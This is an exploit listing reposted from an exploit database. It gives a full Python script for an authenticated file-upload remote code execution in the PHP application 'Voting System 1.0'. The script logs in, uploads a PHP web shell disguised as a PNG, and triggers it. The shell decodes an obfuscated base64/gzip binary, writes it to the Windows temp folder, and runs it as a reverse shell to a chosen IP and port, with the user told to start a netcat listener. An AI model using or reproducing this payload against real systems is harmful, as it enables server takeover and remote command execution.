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Voting System 1.0 Shell Upload

CVE Category Price Severity
CWE-434 Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2021-01-20
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010143

Below is a copy:

Voting System 1.0 Shell Upload
# Exploit Title: Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)
# Date: 19/01/2021
# Exploit Author: Richard Jones
# Vendor Homepage:https://www.sourcecodester.com/php/12306/voting-system-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows 10 2004 + XAMPP 7.4.4

import requests

# --- Edit your settings here ----
IP = "192.168.1.207" # Website's URL
USERNAME = "potter" #Auth username
PASSWORD = "password" # Auth Password
REV_IP = "192.168.1.207" # Reverse shell IP
REV_PORT = "8888" # Reverse port 
# --------------------------------

INDEX_PAGE = f"http://{IP}/votesystem/admin/index.php"
LOGIN_URL = f"http://{IP}/votesystem/admin/login.php"
VOTE_URL = f"http://{IP}/votesystem/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/votesystem/images/shell.php"

payload = """
  
<?php

header('Content-type: text/plain');
$ip   = "IIPP";
$port = "PPOORRTT";
$payload = "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";
$evalCode = gzinflate(base64_decode($payload));
$evalArguments = " ".$port." ".$ip;
$tmpdir ="C:\\windows\\temp";
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
$filename = "D3fa1t_shell.exe";
$file = fopen($filename, 'wb');
fwrite($file, $evalCode);
fclose($file);
$path = $filename;
$cmd = $path.$evalArguments;
$res .= "\n\nExecuting : ".$cmd."\n";
echo $res;
$output = system($cmd);
            
?>
"""
payload = payload.replace("IIPP", REV_IP)
payload = payload.replace("PPOORRTT", REV_PORT)

s = requests.Session()

def getCookies():
    r = s.get(INDEX_PAGE)
    return r.cookies

def login():
    cookies = getCookies()
    data = {
        "username":USERNAME,
        "password":PASSWORD,
        "login":""
    }
    r = s.post(LOGIN_URL, data=data, cookies=cookies)
    if r.status_code == 200:
        print("Logged in")
        return True
    else:
        return False

def sendPayload():
    if login():
        global payload
        payload = bytes(payload, encoding="UTF-8")
        files  = {'photo':('shell.php',payload, 
                    'image/png', {'Content-Disposition': 'form-data'}
                  ) 
              }
        data = {
            "firstname":"a",
            "lastname":"b",
            "password":"1",
            "add":""
        }
        r = s.post(VOTE_URL, data=data, files=files)
        if r.status_code == 200:
            print("Poc sent successfully")
        else:
            print("Error")

def callShell():
    r = s.get(CALL_SHELL, verify=False)
    if r.status_code == 200:
        print("Shell called check your listiner")
print("Start a NC listner on the port you choose above and run...")
sendPayload()
callShell()





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